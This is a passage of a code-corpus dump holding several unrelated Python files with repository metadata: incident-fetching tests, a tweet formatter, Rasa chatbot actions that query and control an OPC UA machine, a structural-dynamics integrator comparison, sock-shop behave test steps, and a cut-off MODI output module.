),\n (\n context_list.get(\"CONTEXT_EMPTY_WITHOUT_INCIDENTS\"), []\n ),\n (\n context_list.get(\"CONTEXT_EMPTY_WITH_INCIDENTS\"), []\n ),\n\n]\n\n\n@pytest.mark.parametrize('context, expected', CONTEXT_EXAMPLES)\ndef test_fetch_incident_command(mocker, context, expected):\n \"\"\"\n Given: a list of valid incident with labels and attachment,\n a list of valid incidents without labels but with attachment,\n a list of 2 valid incidents without labels, one with attachment,\n a list without incidents\n When: running fetch-incident flow using the instance context\n Then: validates the integration remain empty after reading the incidents\n validates the incident list was read properly and files where attached if needed to.\n\n \"\"\"\n\n def http_mock(file_path, response_type):\n if file_path == 'example_path.eml':\n res = attachment_content\n return res\n else:\n return ''\n\n set_context_mock = mocker.patch.object(CreateIncidents, 'set_integration_context')\n mocker.patch.object(CreateIncidents, 'get_integration_context', return_value=context)\n mocker.patch.object(CreateIncidents.Client, 'http_request', side_effect=http_mock)\n mocker.patch.object(CreateIncidents, 'fileResult', return_value={'FileID': 'example_id'})\n\n incidents = CreateIncidents.fetch_incidents_command(CLIENT_MOCK)\n assert set_context_mock.call_args[0][0] == {\"incidents\": []}\n assert incidents == expected\n\n\nCASES = [\n (\n incident_list.get('WITH_LABEL'), None, [{'name': 'Potential phishing I received',\n 'occurred': '0001-01-01T00:00:00Z',\n 'labels': [{'type': 'Email/subject',\n 'value': 'Potential phishing I received'},\n {'type': 'Email', 'value': 'example@example.com'}]\n }]\n\n ),\n (\n incident_list.get('WITHOUT_LABEL'), None, [{'name': 'Potential phishing I received',\n 'occurred': '0001-01-01T00:00:00Z'}]\n ),\n (\n incident_list.get('WITH_LABEL'), [\"example_path.eml\"],\n [{'name': 'Potential phishing I received',\n 'occurred': '0001-01-01T00:00:00Z',\n 'labels': [{'type': 'Email/subject',\n 'value': 'Potential phishing I received'},\n {'type': 'Email', 'value': 'example@example.com'}],\n \"attachment\": [\"example_path.eml\"]\n }]\n ),\n (\n incident_list.get('WITHOUT_LABEL'), [\"example_path.eml\", \"example_path2.eml\"],\n [{'name': 'Potential phishing I received',\n 'occurred': '0001-01-01T00:00:00Z',\n \"attachment\": [\"example_path.eml\", \"example_path2.eml\"]\n }]\n ),\n (\n incident_list.get('MULTIPLE_INCIDENTS'), [\"example_path.eml\"],\n [{'name': 'Potential phishing I received', 'occurred': '0001-01-01T00:00:00Z',\n \"attachment\": [\"example_path.eml\"]},\n {'name': 'Potential phishing I received 2', 'occurred': '0001-01-01T00:00:00Z',\n \"attachment\": [\"example_path.eml\"]}]\n ),\n (\n incident_list.get('EMPTY_INCIDENTS'), 'example_path.eml', []\n )\n]\n\n\n@pytest.mark.parametrize('incidents, attachment, expected', CASES)\ndef test_parse_incidents_happy(mocker, incidents, attachment, expected):\n \"\"\"\n Given: a list of valid incidents with labels without attachment,\n a list of valid incidents without labels without attachment,\n a list of valid incidents with labels with attachment,\n a list of valid incidents without labels with attachment,\n a list of multiple incidents,\n an empty list\n When: creating an incident object from the incident retrieved\n Then: Makes sure the incident object containing only the relevant fields\n \"\"\"\n\n def http_mock(file_path, response_type):\n if file_path == 'example_path.eml':\n res = attachment_content\n return res\n else:\n return ''\n\n mocker.patch.object(CreateIncidents, 'fileResult', return_value={'FileID': 'example_id'} if attachment else None)\n mocker.patch.object(CreateIncidents.Client, 'http_request', side_effect=http_mock)\n res = CreateIncidents.parse_incidents(incidents, attachment)\n # removing raw json for reading comfortability\n for item in res:\n item.pop('rawJSON')\n\n assert res == expected\n\n\nINCIDENT_PATH_CASES_BAD = [\n (\n ''\n ),\n (\n None\n ),\n]\n\n\n@pytest.mark.parametrize('incident_path', INCIDENT_PATH_CASES_BAD)\ndef test_create_test_incident_command_bad(incident_path):\n \"\"\"\n Given: missing incident_path argument\n When: creating a new incident from file\n Then: Makes sure client fails with correct error\n \"\"\"\n\n with pytest.raises(ValueError) as e:\n CreateIncidents.create_test_incident_from_file_command(\n CreateIncidents.Client('example_base_url.com', False, False),\n {'incidents_path': incident_path})\n assert str(e.value) == 'Incidents were not specified'\n\n\ndef test_http_request(mocker):\n http_mock = mocker.patch.object(CreateIncidents.Client, '_http_request')\n CLIENT_MOCK.http_request('file.json', response_type='json')\n assert http_mock.call_args[1]['url_suffix'] == 'file.json'\n assert http_mock.call_args[1]['resp_type'] == 'json'\n assert http_mock.call_args[1]['return_empty_response'] is True\n\n\nLOAD_INCIDENT_CASES = [\n (\n incident_list.get('SINGLE_WITH_LABEL'), None, 1\n ),\n (\n incident_list.get('SINGLE_WITHOUT_LABEL'), None, 1\n ),\n (\n incident_list.get('MULTIPLE_INCIDENTS'), \"example_path.eml\", 2\n ),\n (\n incident_list.get('EMPTY_INCIDENTS'), 'example_path.eml', 0\n )\n]\n\n\n@pytest.mark.parametrize('incidents, attachment, expected', LOAD_INCIDENT_CASES)\ndef test_create_test_incident_command_happy(mocker, incidents, attachment, expected):\n \"\"\"\n Given: a file with list-format of valid incidents with labels\n a file with single valid incident without labels\n a list of valid incidents with labels with attachment,\n an empty file without incidents\n When: creating an incident object from the incident retrieved\n Then: Makes sure the incidents we read are in correct format (list)\n \"\"\"\n\n def http_mock(file_path, response_type):\n if file_path == 'example.json':\n res = incidents\n return res\n else:\n return ''\n\n parse_mock = mocker.patch.object(CreateIncidents, 'parse_incidents')\n mocker.patch.object(CreateIncidents.Client, 'http_request', side_effect=http_mock)\n CreateIncidents.create_test_incident_from_file_command(CLIENT_MOCK,\n {'incidents_path': 'example.json',\n 'attachment_paths': attachment})\n assert type(parse_mock.call_args[0][0]) == list\n assert len(parse_mock.call_args[0][0]) == expected\n","repo_name":"demisto/content","sub_path":"Packs/DeveloperTools/Integrations/CreateIncidents/CreateIncidents_test.py","file_name":"CreateIncidents_test.py","file_ext":"py","file_size_in_byte":8968,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"50"} +{"seq_id":"69971900317","text":"import pyshorteners\nimport re\nimport random\n\ndef format_this(tweet):\n if len(tweet) <= 279:\n return tweet\n else:\n trimmed_tweet = tweet[:279]\n return trimmed_tweet\n\ndef make_this_url_tiny(long_url):\n type_tiny = pyshorteners.Shortener()\n short_url = type_tiny.tinyurl.short(long_url)\n return short_url\n\n\ndef remove_the_spaces(variable):\n list_to_join = variable.split()\n removed_spaces = \"\".join(list_to_join)\n complete_clean_string = re.sub(r'[^a-zA-Z0-9]', '', removed_spaces)\n return complete_clean_string\n\ndef get_hashtags(hashtags, num):\n hashtahs_split = hashtags.split()\n random.shuffle(hashtahs_split)\n hashtahs_to_return_list = hashtahs_split[:num]\n selected_hashtags_str = ' '.join(hashtahs_to_return_list)\n return selected_hashtags_str\n\n","repo_name":"ajayagrawalgit/TweeBot","sub_path":"bot_src/tweetformatter.py","file_name":"tweetformatter.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"1608322710","text":"\"\"\"[summary]\nThis files contains your custom actions which can be used to run custom Python code.\n\"\"\"\n\nfrom typing import Any, Text, Dict, List\n\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.events import SessionStarted, ActionExecuted\nfrom asyncua import Client\n\n# The next 4 lines are needed if you have problems importing the handler.py in opcua_server\nfrom pathlib import Path\nimport sys\npath_root = Path(__file__).parents[2]\nsys.path.append(str(path_root))\n\nfrom callback_server.server import SubscribeAll\n\n# This should point to the ip address of the opc ua (atvise) server\nurl = \"opc.tcp://141.82.52.161:4840\"\n#url = \"opc.tcp://10.0.0.107:4840\"\n\n\n\"\"\"[summary]\nActionSessionStart is a default rasa action which is always called when a new conversation starts.\nBy defining the action in the actions.py we override this actions and adjust it to our needs.\nWhat we added is the async SubscribeAll call which subscribe to all alarm nodes defined on the opcua atvise server.\n\"\"\"\nclass ActionSessionStart(Action):\n\n def name(self) -> Text:\n return \"action_session_start\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n # the session should begin with a `session_started` event\n events = [SessionStarted()]\n\n # an `action_listen` should be added at the end as a user message follows\n events.append(ActionExecuted(\"action_listen\"))\n\n await SubscribeAll.run(tracker.sender_id)\n\n return events\n\n\n\"\"\"[summary]\nThis action gets called on the question if a certain door is closed or not.\n\nuse case example:\n\nUser: Is safety door 1 closed?\nBot: Safety door 1 is currently unlocked.\n\"\"\"\nclass ActionSafetyDoor(Action):\n\n def name(self) -> Text:\n return \"action_utter_supply_safety_door_info\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n door_number = next(\n tracker.get_latest_entity_values(\"door_number\"), None)\n\n async with Client(url=url) as client:\n\n safety_zones_path = \"ns=1;s=\" + \"AGENT.OBJECTS.Machine.SafetyZones\"\n safety_zones_node = client.get_node(safety_zones_path)\n safety_zones = await safety_zones_node.get_children()\n\n for zone in safety_zones:\n\n safety_doors = await client.get_node(zone).get_children()\n\n for door in safety_doors:\n if f'{door}'.rsplit('_', 1)[1] == door_number:\n door_state = await client.get_node(f'{door}' + \".isOpen\").read_value()\n\n if door_state: \n dispatcher.utter_message(\n text=f\"Safety door {door_number} in safety zone {f'{zone}'.rsplit('e', 1)[1]} is currently unlocked.\")\n else:\n dispatcher.utter_message(\n text=f\"Safety door {door_number} in safety zone {f'{zone}'.rsplit('e', 1)[1]} is currently locked.\")\n\n return []\n\n dispatcher.utter_message(text=f\"Safety door with the number {door_number} is not available.\")\n\n return []\n\n\n\"\"\"[summary]\nThis action gets called on the question when was a component changed the last time\n\nuse case example:\n\nUser: When was the coil roll cahnged the last time?\nBot: The coil roll was last changed today at 2:35 pm, i.e. 2 hours and 20 minutes ago.\n\"\"\"\nclass ActionComponentLastChanged(Action):\n\n def name(self) -> Text:\n return \"action_utter_supply_component_last_changed_info\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n component = next(tracker.get_latest_entity_values(\"component\"), None)\n\n async with Client(url=url) as client:\n\n actions_path = \"ns=1;s=\" + \"AGENT.OBJECTS.Machine.Actions\"\n actions_node = client.get_node(actions_path)\n actions = await actions_node.get_children()\n\n for action in actions:\n name_path = f'{action}' + \".Name\"\n name = await client.get_node(name_path).read_value()\n\n if name == component.lower():\n last_fin_path = f'{action}' + \".lastFinished\"\n last_fin = await client.get_node(last_fin_path).read_value()\n dispatcher.utter_message(\n text=\"The {} was last changed on {}!\".format(name, last_fin))\n return []\n\n dispatcher.utter_message(text=\"Sorry but there is no component called {}...\".format(name))\n\n return []\n\n\n\"\"\"[summary]\nThis action gets called on the question where a certain component is located\n\nuse case example:\n\nUser: Where is component -Z2.3z2?\nBot: The component -Z2.3z2 ist part of the coil roll which is in tip1 of the clamping station.\n\"\"\"\nclass ActionGetComponentLocation(Action):\n\n def name(self) -> Text:\n return \"action_utter_supply_component_location_info\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n component_name = next(tracker.get_latest_entity_values(\"component\"), None)\n\n if component_name is None:\n print(\"Rasa could'nt determine any entities!\")\n return []\n\n result = await get_component_location_from_opcua(component_name)\n\n if result:\n dispatcher.utter_message(text=f\"The component {component_name} ist part of the {result['component']} which is in {result['tip']} of the {result['station']}.\")\n return []\n else:\n dispatcher.utter_message(text=f\"There is no component with the name {component_name}\")\n return []\n\n\n\"\"\"[summary]\nVery similar to ActionGetComponentLocation but this operated on slots instead of entities.\n\"\"\"\nclass ActionGetAlarmCylinderLocation(Action):\n def name(self) -> Text:\n return \"action_utter_supply_alarm_cylinder_location_info\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n component_name = tracker.get_slot('cylinder_with_alarm')\n if component_name is None:\n print(\"Rasa could'nt determine any slot with the name: cylinder_with_alarm!\")\n return []\n\n result = await get_component_location_from_opcua(component_name)\n\n if result:\n dispatcher.utter_message(text=f\"The component {component_name} ist part of the {result['component']} which is in {result['tip']} of the {result['station']}.\")\n return []\n else:\n dispatcher.utter_message(text=f\"There is no component with the name {component_name}\")\n return []\n\n\n\"\"\"[summary]\nThis action gets called on the intent EXTERNAL_warn_cylinder_alarm which is called in the handler.py\nThis just prints an alarm message to our console\n\"\"\"\nclass ActionUtterWarnCylinderAlarm(Action):\n def name(self) -> Text:\n return \"action_utter_warn_cylinder_alarm\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n alarm_message = next(tracker.get_latest_entity_values(\"alarm_message\"), None)\n message = \"Attention!\\n\" + alarm_message\n dispatcher.utter_message(text=message)\n return[]\n\n\n\"\"\"[summary]\nThis action gets called on the intent EXTERNAL_warn_jamming_material_alarm which is called in the handler.py\nThis just prints an alarm message to our console\n\"\"\"\nclass ActionUtterWarnJammingMaterialAlarm(Action):\n def name(self) -> Text:\n return \"action_utter_warn_jamming_material_alarm\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n alarm_message = next(tracker.get_latest_entity_values(\"alarm_message\"), None)\n message = \"Alarm!\\n\" + alarm_message\n dispatcher.utter_message(text=message)\n return[]\n\n\n\"\"\"[summary]\nThis action gets called after we asked the machine how to fix the current occured problem. We\nget the solution from a opcua server node. \n\"\"\"\nclass ActionHowToFixJammingMaterialAlarm(Action):\n def name(self) -> Text:\n return \"action_how_to_fix_jamming_material_alarm\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n async with Client(url=url) as client:\n # get the solution from opcua server\n solution = await client.get_node(\"ns=1;s=AGENT.OBJECTS.Machine.Alarms.General.JammingMaterialAlarm.Alarm.solution_info\").get_value()\n dispatcher.utter_message(text=solution)\n return[]\n\n\n\"\"\"[summary]\nThis action gets called if we demanded to open a certain door. We check if this door exists and if the \ndoor is closed we then open it by changing a value on the opcua server\n\"\"\"\nclass ActionOpenSafetyDoor(Action):\n def name(self) -> Text:\n return \"action_open_safety_door\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n door_number = next(tracker.get_latest_entity_values(\"door_number\"), None)\n if door_number is None:\n dispatcher.utter_message(\"Door number is missing. Just try again\")\n else :\n async with Client(url=url) as client:\n\n safety_zones_path = \"ns=1;s=\" + \"AGENT.OBJECTS.Machine.SafetyZones\"\n safety_zones_node = client.get_node(safety_zones_path)\n safety_zones = await safety_zones_node.get_children()\n\n for zone in safety_zones:\n\n safety_doors = await client.get_node(zone).get_children()\n\n for door in safety_doors:\n if f'{door}'.rsplit('_', 1)[1] == door_number:\n door_state = client.get_node(f'{door}' + \".isOpen\")\n door_value = await client.get_node(f'{door}' + \".isOpen\").read_value()\n if door_value is False:\n await door_state.write_value(True)\n message = \"Safety door \"+door_number+\" is opened\"\n dispatcher.utter_message(text=message)\n else:\n message = \"Safety door \"+door_number+\" is already opened\"\n dispatcher.utter_message(text=message)\n return[]\n\n\n\"\"\"[summary]\nThis action gets called after we demanded a restart of a specific module. \nWe check here if the module is faulty and if so we then get asked for confirmation.\n\nuse case example:\n\nBot: Do you want to restart the faulty module „+TIP1“?\nUser: Yes\n\"\"\"\nclass ActionInfoRestartModuleSpecific(Action):\n \n def name(self) -> Text:\n return \"action_utter_supply_module_specific_info\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n module_number = next(tracker.get_latest_entity_values(\"module_number\"), None)\n\n async with Client(url=url) as client:\n \n acp = client.get_node(\"ns=1;s=AGENT.OBJECTS.Machine.Alarms.General.JammingMaterialAlarm.Alarm.Condition.value\")\n \n module_status=await acp.read_value()\n\n if module_status: # True:faulty module\n dispatcher.utter_message(text=f\"Do you want to restart faulty module {module_number}?\") \n else : \n dispatcher.utter_message(text=f\"Module {module_number} isn't a faulty module\")\n \n return []\n\n\n\"\"\"[summary]\nThis action is the followup to the action ActionInfoRestartModuleSpecific. Here we actually resart the module\nby changing a value on the opcua server.\n\"\"\"\nclass ActionRestartFaultyModule(Action):\n \n def name(self) -> Text:\n return \"action_restart_faulty_module\"\n\n async def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n\n async with Client(url=url) as client:\n \n acb = client.get_node(\"ns=1;s=AGENT.OBJECTS.Machine.Alarms.General.JammingMaterialAlarm.Alarm.Condition.value\")\n \n module_status=await acb.read_value()\n\n if module_status: # True:faulty module\n await acb.write_value(False)\n dispatcher.utter_message(text=f\"Module restarted\") \n \n return []\n\n\n\"\"\"[summary]\nThis function gets the location from the opcua server by searching all station subfolders for the component we \nlook for and then return on a hit all parent folders the component is actually located.\n\n[returns]\ndict with three components: component, tip, station\n\"\"\"\nasync def get_component_location_from_opcua(component_name):\n async with Client(url=url) as client:\n stations_path = \"ns=1;s=\" + \"AGENT.OBJECTS.Machine.Stations\"\n stations_node = client.get_node(stations_path)\n stations = await stations_node.get_children()\n\n for station in stations:\n tips = await client.get_node(station).get_children()\n for tip in tips:\n components = await client.get_node(f'{tip}' + \".Components\").get_children()\n for component in components:\n master_data = client.get_node(f'{component}' + \".MasterData\")\n equipment_id_number = await client.get_node(f'{master_data}' + \".equipmentIdNumber\").read_value()\n if component_name.lower() == equipment_id_number.lower():\n\n component = f'{component}'.rsplit('.', 1)[1]\n tip = f'{tip}'.rsplit('.', 1)[1]\n station = f'{station}'.rsplit('.', 1)[1]\n return {\n \"component\": component,\n \"tip\": tip,\n \"station\": station\n }\n \n return False","repo_name":"Jungeun-Park-kr/HEKUMA-Chatbot","sub_path":"code/Hekuma_Rasa_Project/actions/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":14897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27204891162","text":"import numpy as np\nimport o3seespy as o3\nimport eqsig\nimport all_paths as ap\n\n\ndef run_analysis(asig, period, xi, f_yield, etype):\n # Load a ground motion\n\n # Define inelastic SDOF\n mass = 1.0\n\n r_post = 0.0\n\n # Initialise OpenSees instance\n osi = o3.OpenSeesInstance(ndm=2, state=0)\n\n # Establish nodes\n bot_node = o3.node.Node(osi, 0, 0)\n top_node = o3.node.Node(osi, 0, 0)\n\n # Fix bottom node\n o3.Fix3DOF(osi, top_node, o3.cc.FREE, o3.cc.FIXED, o3.cc.FIXED)\n o3.Fix3DOF(osi, bot_node, o3.cc.FIXED, o3.cc.FIXED, o3.cc.FIXED)\n # Set out-of-plane DOFs to be slaved\n o3.EqualDOF(osi, top_node, bot_node, [o3.cc.Y, o3.cc.ROTZ])\n\n # nodal mass (weight / g):\n o3.Mass(osi, top_node, mass, 0., 0.)\n\n # Define material\n k_spring = 4 * np.pi ** 2 * mass / period ** 2\n bilinear_mat = o3.uniaxial_material.Steel01(osi, fy=f_yield, e0=k_spring, b=r_post)\n\n # Assign zero length element, # Note: pass actual node and material objects into element\n o3.element.ZeroLength(osi, [bot_node, top_node], mats=[bilinear_mat], dirs=[o3.cc.DOF2D_X], r_flag=1)\n\n # Define the dynamic analysis\n\n # Define the dynamic analysis\n acc_series = o3.time_series.Path(osi, dt=asig.dt, values=-1 * asig.values) # should be negative\n o3.pattern.UniformExcitation(osi, dir=o3.cc.X, accel_series=acc_series)\n\n # set damping based on first eigen mode\n angular_freqs = np.array(o3.get_eigen(osi, solver='fullGenLapack', n=1)) ** 0.5\n beta_k = 2 * xi / angular_freqs[0]\n print('angular_freqs: ', angular_freqs)\n periods = 2 * np.pi / angular_freqs\n\n o3.rayleigh.Rayleigh(osi, alpha_m=0.0, beta_k=beta_k, beta_k_init=0.0, beta_k_comm=0.0)\n\n # Run the dynamic analysis\n o3.wipe_analysis(osi)\n\n # Run the dynamic analysis\n o3.constraints.Transformation(osi)\n o3.test_check.NormDispIncr(osi, tol=1.0e-6, max_iter=35, p_flag=0)\n o3.numberer.RCM(osi)\n if etype == 'implicit':\n o3.algorithm.Newton(osi)\n o3.system.SparseGeneral(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n analysis_dt = 0.01\n else:\n o3.algorithm.Linear(osi, factor_once=True)\n o3.system.FullGeneral(osi)\n if etype == 'newmark_explicit':\n o3.integrator.NewmarkExplicit(osi, gamma=0.6)\n explicit_dt = periods[0] / np.pi / 32\n elif etype == 'central_difference':\n o3.integrator.CentralDifference(osi)\n o3.opy.integrator('HHTExplicit')\n explicit_dt = periods[0] / np.pi / 16 # 0.5 is a factor of safety\n elif etype == 'explicit_difference':\n o3.integrator.ExplicitDifference(osi)\n explicit_dt = periods[0] / np.pi / 32\n else:\n raise ValueError(etype)\n print('explicit_dt: ', explicit_dt)\n analysis_dt = explicit_dt\n o3.analysis.Transient(osi)\n\n analysis_time = asig.time[-1]\n\n outputs = {\n \"time\": [],\n \"rel_disp\": [],\n \"rel_accel\": [],\n \"rel_vel\": [],\n \"force\": []\n }\n\n while o3.get_time(osi) < analysis_time:\n o3.analyze(osi, 1, analysis_dt)\n curr_time = o3.get_time(osi)\n outputs[\"time\"].append(curr_time)\n outputs[\"rel_disp\"].append(o3.get_node_disp(osi, top_node, o3.cc.X))\n outputs[\"rel_vel\"].append(o3.get_node_vel(osi, top_node, o3.cc.X))\n outputs[\"rel_accel\"].append(o3.get_node_accel(osi, top_node, o3.cc.X))\n o3.gen_reactions(osi)\n outputs[\"force\"].append(-o3.get_node_reaction(osi, bot_node, o3.cc.X)) # Negative since diff node\n o3.wipe(osi)\n for item in outputs:\n outputs[item] = np.array(outputs[item])\n return outputs\n\n\ndef run(show):\n period = 0.5\n xi = 0.05\n f_yield = 5.5 # Reduce this to make it nonlinear\n f_yield = 1.5 # Reduce this to make it nonlinear\n record_filename = 'test_motion_dt0p01.txt'\n asig = eqsig.load_asig(ap.MODULE_DATA_PATH + 'gms/' + record_filename, m=0.5)\n etypes = ['implicit', 'newmark_explicit', 'explicit_difference', 'central_difference']\n cs = ['k', 'b', 'g', 'orange', 'm']\n ls = ['-', '--', '-.', ':', '--']\n for i in range(len(etypes)):\n etype = etypes[i]\n od = run_analysis(asig, period, xi, f_yield, etype=etype)\n\n if show:\n import matplotlib.pyplot as plt\n plt.plot(od['time'], od['rel_disp'], label=etype, c=cs[i], ls=ls[i])\n periods = np.array([period])\n if show:\n # Compare closed form elastic solution\n from eqsig import sdof\n resp_u, resp_v, resp_a = sdof.response_series(motion=asig.values, dt=asig.dt, periods=periods, xi=xi)\n plt.plot(asig.time, resp_u[0], ls='--', label='Elastic', c='r', lw=1)\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n run(show=1)\n","repo_name":"o3seespy/o3seespy-examples","sub_path":"compare_integrators/structural/fig_compare_sdof_nonlinear_w_diff_integrators.py","file_name":"fig_compare_sdof_nonlinear_w_diff_integrators.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"47171809018","text":"import os\nimport time\n\nimport dotenv\nimport portshift_cli\nimport yaml\nfrom behave import given, when, then\nfrom sockshop_client import SockShopClient, SockShopLoadGen\n\napi_endpoints = {}\nrequest_headers = {}\nrequest_body = {}\nresponse_codes = {}\nresponse_body = {}\ndata = {}\nscn_url = None\nclient = None\nbase_dir = None\nconfig = {}\n\n\n@given(u'a Portshift (SNC) API endpoint.')\ndef step_impl(context):\n global scn_url\n global client\n global base_dir\n global config\n\n base_dir = os.path.dirname(__file__)\n config_path = os.path.join(base_dir, '../../../../../config.sh')\n config = dotenv.dotenv_values(config_path)\n client = portshift_cli.scn_connect(config)\n\n api_endpoints[\"PAYMENT\"] = \"http://localhost:8002/paymentAuth\"\n request_body[\"PAYMENT\"] = \"{}\"\n data[\"given_api_list\"] = []\n data[\"api\"] = []\n\n\n@given(u'a cluster name')\ndef step_impl(context):\n assert config['SCN_CLUSTER_NAME'] != \"\"\n\n\n@when(u'i query the snc dashboard for created clusters')\ndef step_impl(context):\n clusters = client.list_dashboard_clusters()\n for cluster in clusters:\n if cluster['name'] == config['SCN_CLUSTER_NAME']:\n data[\"CLUSTER\"] = cluster['name']\n break\n assert data[\"CLUSTER\"] == config['SCN_CLUSTER_NAME']\n\n\n@then(u'response body should not be empty')\ndef step_impl(context):\n clusters = client.list_dashboard_clusters()\n for cluster in clusters:\n if cluster['name'] == config['SCN_CLUSTER_NAME']:\n data[\"CLUSTER\"] = cluster['name']\n break\n assert data[\"CLUSTER\"] != \"\"\n\n\n@then(u'returned cluster list should contain initial cluster name')\ndef step_impl(context):\n clusters = client.list_dashboard_clusters()\n for cluster in clusters:\n if cluster['name'] == config['SCN_CLUSTER_NAME']:\n data[\"CLUSTER\"] = cluster['name']\n break\n assert data[\"CLUSTER\"] == config['SCN_CLUSTER_NAME']\n\n\n@given(u'a dashboard (SCN) endpoint url')\ndef step_impl(context):\n assert config['SCN_HOST'] != \"\"\n\n\n@given(u'the sock-shop frontend url')\ndef step_impl(context):\n assert config['SCN_HOST'] != \"\"\n\n\n@given('a list of APIs')\ndef step_impl(context):\n for row in context.table:\n data[\"given_api_list\"].append(row['api'])\n assert len(data[\"given_api_list\"]) != 0\n\n\n@when(u'i place an order by navigating to the frontend url, putting a sock in the cart and checking out.')\ndef step_impl(context):\n try:\n sock_shop_client = SockShopClient(\"http://localhost:8079\")\n sock_shop_client.register(username=\"mn5\", password=\"mn5\", firstName=\"a\", lastName=\"b\", email=\"a@b.com\")\n tags = sock_shop_client.get_tags()\n\n catalogue = sock_shop_client.get_catalogue(tags=tags)\n\n sock_shop_client.add_to_cart(catalogue[0]['id'])\n sock_shop_client.login(\"mn5\", \"mn5\")\n sock_shop_client.add_address(street=\"Via\", postcode=\"20100\", city=\"Milan\", country=\"Italy\", number=\"0\")\n\n sock_shop_client.add_credit_card(longnum=\"12344566788\", expires=\"01/22\", ccv=\"123\")\n\n sock_shop_client.checkout()\n except Exception as e:\n print(e)\n pass\n finally:\n pass\n\n\n@when(u'i query the snc dashboard for created APIs')\ndef step_impl(context):\n time.sleep(10)\n internal_apis = client.list_internal_catalogs_apis()\n external_apis = client.list_external_catalogs_apis()\n for api in internal_apis['items']:\n data[\"api\"].append(api['name'])\n for api in external_apis['items']:\n data[\"api\"].append(api['name'])\n assert len(data[\"api\"]) != 0\n\n\n@then(u'the returned API list should match those at hand')\ndef step_impl(context):\n data[\"given_api_list\"].sort()\n data[\"api\"].sort()\n assert data[\"given_api_list\"] == data[\"api\"]\n","repo_name":"Carmoondedraak/Anomaly-Detection-in-API-calls","sub_path":"scn-v2-demo/scn/001_demo_scn_setup/test/sock-shop/features/steps/cluster_setup.py","file_name":"cluster_setup.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"19749983869","text":"import os\n\ndef parse(file):\n parseList = []\n with open(file, 'r') as f:\n for strline in f:\n if strline.startswith(\">>> \") or strline.startswith(\"... \"):\n strline = strline[4:]\n\n parseList.append(strline)\n return parseList\n\n\ndef main():\n dir = os.getcwd()\n for file in os.listdir(dir):\n if file.startswith('ch'):\n path = os.path.join(dir, file)\n parseList = parse(path)\n with open(file[-6:], 'w') as fout:\n for line in parseList:\n fout.write(line)\n print('done')\n\nif __name__ == '__main__':\n main()","repo_name":"ByronMost/Scripts","sub_path":"removeDot.py","file_name":"removeDot.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6015172126","text":"import time\n\nfrom typing import Tuple, List, Union\nfrom modi.module.module import Module\nfrom modi.util.message_util import parse_message, parse_data\n\n\nclass OutputModule(Module):\n\n INT = 0\n FLOAT = 1\n STRING = 2\n RAW = 3\n DISPLAY_VAR = 4\n\n @staticmethod\n def __parse_set_message(destination_id: int,\n property_type: int,\n property_values: Tuple,\n property_data_type: int) -> List[str]:\n \"\"\"Generate set_property json serialized message\n\n :param destination_id: Id of the destination module\n :type destination_id: int\n :param property_type: Property Type\n :type property_type: int\n :param property_values: Property values\n :type property_values: Tuple\n :param property_data_type: Property Data Type\n :type property_data_type: int\n :return: List of json messages\n :rtype: List[str]\n \"\"\"\n data_list = []\n if property_data_type == OutputModule.INT:\n data_list.append(parse_data(property_values, 'int'))\n elif property_data_type == OutputModule.FLOAT:\n data_list.append(parse_data(property_values, 'float'))\n elif property_data_type == OutputModule.STRING:\n for i in range(0, len(property_values), 8):\n chunk = str(property_values)[i:i + 8]\n data_list.append(parse_data(chunk, 'string'))\n elif property_data_type == OutputModule.RAW:\n data_list.append(parse_data(property_values, 'raw'))\n elif property_data_type == OutputModule.DISPLAY_VAR:\n data_list.append(parse_data(property_values, 'display_var'))\n else:\n raise RuntimeError(\"Not supported property data type.\")\n\n messages = []\n for data in data_list:\n messages.append(\n parse_message(0x04, property_type, destination_id, data)\n )\n return messages\n\n def _set_property(self, destination_id: int,\n property_type: int, property_values: Union[Tuple, str],\n property_data_type: int\n = 0) -> None:\n \"\"\"Send the message of set_property command to the module\n\n :param destination_id: Id of the destination module\n :type destination_id: int\n :param property_type: Property Type\n :type property_type: int\n :param property_values: Property Values\n :type property_values: Tuple\n :param property_data_type: 